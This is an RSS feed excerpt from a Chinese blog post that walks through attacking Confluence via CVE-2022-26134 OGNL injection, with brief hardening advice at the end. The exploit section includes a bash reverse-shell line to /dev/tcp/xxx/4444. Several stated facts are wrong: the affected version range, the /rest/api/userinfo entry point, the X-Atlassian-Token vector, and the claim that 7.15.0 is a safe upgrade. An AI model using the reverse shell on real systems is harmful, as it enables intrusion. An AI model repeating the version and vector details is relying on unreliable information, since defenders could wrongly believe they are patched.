https://souljian.cn/tags/cve-2022-26134/Recent content in CVE-2022-26134 on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088133/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088133/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>Confluence 攻击只在授权测试环境进行。对非授权目标进行攻击可能触犯法律。</p> <h2 id="一confluence-ognl-注入链">一、Confluence OGNL 注入链 </h2><img src="https://souljian.cn/img/confluence-ognl-chain.svg" alt="Confluence OGNL RCE 利用链" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① 发现 Confluence → ② 确认版本 → ③ OGNL 注入 → ④ 执行命令 → ⑤ 反弹 Shell → ⑥ 提权 </span></span></code></pre></td></tr></table> </div> </div><h2 id="二漏洞信息">二、漏洞信息 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">CVE-2022-26134 </span></span><span class="line"><span class="cl">影响：Confluence Server 6.14 ~ 7.14.3 </span></span><span class="line"><span class="cl">入口：/rest/api/userinfo </span></span><span class="line"><span class="cl">类型：未授权 OGNL 注入 </span></span></code></pre></td></tr></table> </div> </div><h2 id="三利用步骤">三、利用步骤 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span><span class="lnt">9 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 确认版本</span> </span></span><span class="line"><span class="cl">curl -s http://target:8090 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># X-Atlassian-Token: {{...}} 注入</span> </span></span><span class="line"><span class="cl"><span class="c1"># 验证命令执行</span> </span></span><span class="line"><span class="cl">whoami · id · uname -a </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 反弹 Shell</span> </span></span><span class="line"><span class="cl">bash -i &gt;<span class="p">&amp;</span> /dev/tcp/xxx/4444 </span></span></code></pre></td></tr></table> </div> </div><h2 id="四防御加固">四、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">升级到 Confluence 7.15.0+ </span></span><span class="line"><span class="cl">Confluence 不暴露公网 </span></span><span class="line"><span class="cl">WAF 拦截 X-Atlassian-Token 异常值 </span></span></code></pre></td></tr></table> </div> </div><h2 id="五小结">五、小结 </h2><p>Confluence OGNL 注入是典型的未授权代码执行漏洞。防御核心是<strong>升级版本 + 网络隔离</strong>。</p>